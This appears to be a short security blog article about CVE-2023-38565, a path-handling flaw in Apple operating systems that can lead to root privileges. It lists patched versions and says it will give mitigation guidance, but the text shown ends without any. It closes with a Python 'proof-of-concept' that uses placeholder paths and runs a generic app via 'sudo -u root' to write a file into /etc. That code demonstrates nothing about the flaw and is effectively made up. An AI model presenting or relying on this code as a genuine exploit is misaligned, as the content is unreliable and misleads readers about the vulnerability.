A critical path handling vulnerability, tracked as CVE-2023-38565, has recently been discovered in Apple's macOS, iOS, and iPadOS. This vulnerability can potentially allow malicious applications to gain root privileges, effectively compromising the entire system. Apple has acknowledged the issue and has released security updates to patch this vulnerability in macOS Monterey 12.6.8, iOS 16.6, iPadOS 16.6, macOS Big Sur 11.7.9, macOS Ventura 13.5, and watchOS 9.6.

In this article, we'll explore the details of CVE-2023-38565, examine the affected software versions, and provide guidance on mitigating the risks associated with this vulnerability.

Vulnerability Details

CVE-2023-38565 is categorized as a path handling issue, which occurs when software does not properly validate or sanitize the input given to it. In this case, Apple's macOS, iOS, and iPadOS were found to be susceptible to manipulation through this critical bug.

The vulnerability itself arises from a lack of proper input validation and path handling. An attacker exploiting this vulnerability could potentially gain unauthorized access to root-level system privileges, enabling them to execute arbitrary code, modify files, and even bypass other security controls.

A proof-of-concept (PoC) code snippet demonstrating the exploit is provided below

import os

def exploit_cve_2023_38565():
    malicious_path = "/path/to/malicious/file"
    
    # Crafting the malicious input
    os.system("echo 'echo \"pwned\" > /etc/pwned.txt' > " + malicious_path)

    # Triggering the vulnerable function
    os.system("sudo -u root /path/to/vulnerable/app " + malicious_path)

if __name__ == "__main__":
    exploit_cve_2023_38565()

However, note that this PoC is simplified for demonstration purposes and may not work out-of-the-box.
